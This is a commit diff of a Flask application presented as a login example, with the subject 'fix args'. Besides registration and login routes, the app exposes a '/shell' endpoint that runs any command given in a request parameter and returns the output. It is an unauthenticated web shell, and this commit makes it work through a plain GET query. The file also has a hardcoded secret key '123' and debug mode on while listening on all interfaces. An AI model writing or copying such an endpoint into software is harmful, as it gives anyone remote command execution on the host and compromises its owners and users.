old_contents: """Flask Login Example and instagram fallowing find"""
  
  from flask import Flask, url_for, render_template, request, redirect, session
  from flask_sqlalchemy import SQLAlchemy
  from flask.ext.bcrypt import Bcrypt
  from darts import app
  import commands
  
  app.config.update(
      DEBUG=True,
      SQLALCHEMY_DATABASE_URI='sqlite:///test.db'
  )
  db = SQLAlchemy(app)
  db.create_all()
  bcrypt = Bcrypt(app)
  
  class User(db.Model):
      """ Create user table"""
      id = db.Column(db.Integer, primary_key=True)
      username = db.Column(db.String(100), unique=True)
      password = db.Column(db.String(100))
  
      def __init__(self, username, password):
          self.username = username
          self.password = password
  
  
  @app.route('/', methods=['GET', 'POST'])
  def home():
      """ Session control"""
      if not session.get('logged_in'):
          return render_template('index.html')
      else:
          if request.method == 'POST':
              username = request.form['username']
              return render_template('index.html', data=username)
          return render_template('index.html')
  
  
  @app.route('/login', methods=['GET', 'POST'])
  def login():
      """Login Form"""
      if request.method == 'GET':
          return render_template('login.html')
      else:
          name = request.form['username']
          passwd = request.form['password']
          try:
              data = User.query.filter_by(username=name).first()
              if data is None:
                  return 'Dont Login'
              if bcrypt.check_password_hash(data.password, passwd):
                  session['logged_in'] = True
                  return redirect(url_for('home'))
          except:
              return "Dont Login"
  
  @app.route('/register/', methods=['GET', 'POST'])
  def register():
      """Register Form"""
      if request.method == 'POST':
          hashed_pass = bcrypt.generate_password_hash(request.form['password']).decode('utf-8')
          new_user = User(username=request.form['username'], password=hashed_pass)
          db.session.add(new_user)
          db.session.commit()
          return render_template('login.html')
      return render_template('register.html')
  
  @app.route("/logout")
  def logout():
      """Logout Form"""
      session['logged_in'] = False
      return redirect(url_for('home'))
  
  @app.route("/shell")
  def shell():
      s = request.form['cmd']
      return commands.getoutput(s)
  
  if __name__ == '__main__':
      app.debug = True
      db.create_all()
      app.secret_key = "123"
      app.run(host='0.0.0.0')
      
  
new_contents: """Flask Login Example and instagram fallowing find"""
  
  from flask import Flask, url_for, render_template, request, redirect, session
  from flask_sqlalchemy import SQLAlchemy
  from flask.ext.bcrypt import Bcrypt
  from darts import app
  import commands
  
  app.config.update(
      DEBUG=True,
      SQLALCHEMY_DATABASE_URI='sqlite:///test.db'
  )
  db = SQLAlchemy(app)
  db.create_all()
  bcrypt = Bcrypt(app)
  
  class User(db.Model):
      """ Create user table"""
      id = db.Column(db.Integer, primary_key=True)
      username = db.Column(db.String(100), unique=True)
      password = db.Column(db.String(100))
  
      def __init__(self, username, password):
          self.username = username
          self.password = password
  
  
  @app.route('/', methods=['GET', 'POST'])
  def home():
      """ Session control"""
      if not session.get('logged_in'):
          return render_template('index.html')
      else:
          if request.method == 'POST':
              username = request.form['username']
              return render_template('index.html', data=username)
          return render_template('index.html')
  
  
  @app.route('/login', methods=['GET', 'POST'])
  def login():
      """Login Form"""
      if request.method == 'GET':
          return render_template('login.html')
      else:
          name = request.form['username']
          passwd = request.form['password']
          try:
              data = User.query.filter_by(username=name).first()
              if data is None:
                  return 'Dont Login'
              if bcrypt.check_password_hash(data.password, passwd):
                  session['logged_in'] = True
                  return redirect(url_for('home'))
          except:
              return "Dont Login"
  
  @app.route('/register/', methods=['GET', 'POST'])
  def register():
      """Register Form"""
      if request.method == 'POST':
          hashed_pass = bcrypt.generate_password_hash(request.form['password']).decode('utf-8')
          new_user = User(username=request.form['username'], password=hashed_pass)
          db.session.add(new_user)
          db.session.commit()
          return render_template('login.html')
      return render_template('register.html')
  
  @app.route("/logout")
  def logout():
      """Logout Form"""
      session['logged_in'] = False
      return redirect(url_for('home'))
  
  @app.route("/shell")
  def shell():
      s = request.args.get('cmd')
      return commands.getoutput(s)
  
  if __name__ == '__main__':
      app.debug = True
      db.create_all()
      app.secret_key = "123"
      app.run(host='0.0.0.0')
      
  
subject: fix args